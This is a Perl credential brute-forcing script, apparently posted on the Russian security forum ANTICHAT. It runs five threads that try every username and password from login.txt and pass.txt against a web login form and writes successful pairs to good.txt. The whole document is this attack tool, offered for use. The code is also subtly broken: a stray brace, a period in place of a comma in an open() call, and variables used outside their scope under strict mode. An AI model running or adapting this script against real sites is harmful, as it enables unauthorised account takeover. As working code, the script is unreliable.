ANTICHAT — форум по информационной безопасности, OSINT и технологиям

#!/usr/bin/perl

use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use threads;
print "\n Starting brute...\n";

open my $FL, '<', 'login.txt' or die "No login list: $!\n"; # Логины в login.txt
open my $FP, '<'. 'pass.txt' or die "No password list: $! \n";  # Пароли в  pass.txt
my @login = <$FL>;
my @pass = <$FP>;
close $FP;
close $FL;

#my $login_username = 'login'; # ЛОГИН!
foreach my $login_username (@login) {
  chomp $login_username;
  my $i = 0;
  my @thr;
  my $ua = LWP::UserAgent->new;
  my $cookies = HTTP::Cookies->new (agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
  $ua->cookie_jar ($cookies);
  for my $nowpass (@pass) {
    chomp $nowpass;
    if ($thr[$i]) {
      threads->object ($thr[$i]->tid())->join;
    }
    $thr[$i] = threads->create (\&brute, $login_username, $nowpass);

    $i = ($i + 1) % 5; #Количество потоков  (5)
  }
}
}

foreach(threads->list) { $_->join; }

sub brute()
{

$ua->cookie_jar($cookies);
my $req = $ua->post('http://*.php', {
'st.posted'=>'set',
'username'=>$_[0],
'password'=>$_[1],
'login'=>'%C2%F5%EE%E4'
})->as_string;

my $result = $req =~/302 Found/;
if ($result)
{
print "[+]OK $_[0]:$_[1]\n";
open (G , '>>good.txt');
print G $_[0].":".$_[1]."\n";
close G;
print "PASSWORD FOUND!!!!!\n";
}
else
{
open (G , '>>bad.txt');
print G $login_username."\n";
close G;
print "[-] BAD $_[1]\n";

}}